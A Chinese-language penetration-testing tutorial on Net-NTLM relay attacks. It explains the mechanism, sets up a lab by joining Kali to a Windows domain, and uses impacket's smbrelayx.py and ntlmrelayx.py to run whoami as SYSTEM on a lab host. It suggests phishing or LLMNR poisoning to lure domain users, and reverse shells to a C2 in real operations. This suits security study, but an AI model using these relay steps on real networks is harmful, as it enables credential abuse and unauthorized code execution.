内网渗透学习之 Net-NTLM Relay Attack
Net-NTLM Relay Attack漏洞原理
Net-NTLM Relay
原理,它是发生在 NTLM
认证的第三步,客户端发送使用服务端 NTLM Hash
加密的 Challenge
值,得到 Net-NTLMHash
。我们就是要重放这个 Net-NTLMHash
来进行攻击。
所以,进行NTLM Relay
攻击的第一步我们首先要获得这个Net-NTLMHash
值。那么如何能获得这个Net-NTLMHash
值呢?思路是让受害者把 Net-NTLMhash
自己发送给攻击者,也就是说只要是使用 SMB
、HTTP
、LDAP
、MSSQL
等协议来进行 NTLM
认证的程序,都可以尝试用来向攻击者发送 Net-NTLM hash
。
在内网渗透中若利用 LLMNR/NetBIOS
成功劫持并获得了目标主机的 Net-NTLM Hash
,如果我们有一个强大的字典也可以进行爆破。
Net-NTLM Hash
不像 NTLM-Hash
,我们不能用 Net-NTLM Hash
来进行 Pass The Hash
。所以我们可以试着通过NTLM Relay Attack
来实现。
通过 SMB 来进行 Relay Attack
SMB
协议的 Relay
攻击,可直接 Relay
到 smb
服务器,是最直接最有效的方法。
通过 SMB Relay Attack
我们可以在目标远程服务器上执行命令,上传我们的恶意 exe
,又或者到远程服务上执行恶意代码 ... 等等
Relay Attack 的两种场景:
1:工作组环境
在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash
只是保存在自己的 SAM
文件中,这个时候 Relay
到别的机器可能性就不大,除非两台机器的账号密码一样,不然毫无意义。
2:域环境
我们知道在域环境下所有域用户的账号密码 Hash
都保存在域控的 ntds.dit
里面。若没有限制域用户登录到某台机子,那就可以将该域用户 Relay
到别人的机子,或者是拿到域控的请求,将域控 Relay
到普通的机子,比如域管运维所在的机器。
PS:域环境下域控默认开启 smb
签名
当前环境
目标 | 机器 | IP | 子网掩码 |
---|---|---|---|
攻击人员21r000 | Kali Linux | 10.211.55.15 | 255.0.0.0 |
域控制器 | Windows 20012server | 10.211.55.12 | 255.0.0.0 |
域内机器 | Win 7 | 10.211.55.7 | 255.0.0.0 |
Kali 加入域
配置如下:
Windows Server 2012 R2 x64
计算机名: Server2012
计算机全名: Server2012.21r000.org
域: 21r000.org
域控管理员: administrator
普通用户:21r000
安装软件:
sudo apt install aptitude
sudo aptitude install sssd realmd -y
sudo apt-get install adcli realmd krb5-user samba-common-bin samba-libs samba-dsdb-modules sssd sssd-tools libnss-sss libpam-sss packagekit policykit-1
sudo apt-get install samba # 如果需要samba共享目录给Windows。需要安装这个
编辑/etc/resolve.conf
文件, 将DNS
指向Server2012
sudo vim /etc/resolv.conf
编辑/etc/hosts
文件, 添加Server2012
的IP
及域的对应关系
编辑IP
地址
vi /etc/network/interfaces
inface eth0 inet static #设置 eth0 使用默认的静态地址
address 10.211.55.15 #设置 eth0 的ip 地址
gatework 10.211.55.1 #配置当前主机的默认网关
netmask 255.0.0.0 #设置 eth0 的子网掩码
重新配置网卡信息
dhclient
将Linux
机器加入域
realm join Server2012.21r000.org -U administrator
-- Server2012.21r000.org 为 DC 主机名
-- administrator 为域管理员账号
查看是否成功加入
realm list
通过 smbrelayx.py 进行 Relay Attack
1、在攻击人员21r000
上执行如下命令监听 80
和 445
端口,伪造 http
和 smb
服务:
#SMBRelay 攻击 10.211.55.7 主机,并执行 whoami 命令
python3 smbrelayx.py -h 10.211.55.7 -c whoami
2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员21r000
伪造的 HTTP
或 SMB
服务,访问 http://10.211.55.15 ,并输入账号密码进行认证:
3、此时就 Relay
成功获取到 10.211.55.7
的 system
权限(当然只是 whoami
命令,实战中可以直接远程加载 powershell
或者其他手段反弹 Shell
到 C2
)
通过 ntlmrelayx.py 进行 Relay Attack
1、在攻击人员21r000
上执行如下命令监听 80
和 445
端口,伪造 http
和 smb
服务:
# SMBRelay 攻击 10.211.55.7 主机,并执行 whoami 命令
python3 ntlmrelayx.py -t smb://10.211.55.7 -c whoami -smb2support
2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员21r000
伪造的 HTTP
或 SMB
服务,访问 http://10.211.55.15,并输入账号密码进行认证:
或者让域控随便访问一个资源使用 smb
触发:(因为它会检查本地 host
文件,然后检查 DNS
,如果都不存在,就会通过 LLMNR
协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到 Responder
的响应,然后受害者的 Windows
机器会向攻击者进行身份验证)
3、此时就 Relay
成功获取到 10.211.55.7
的 system
权限:
感言
这里贴上项目地址:https://github.com/21r000/impacket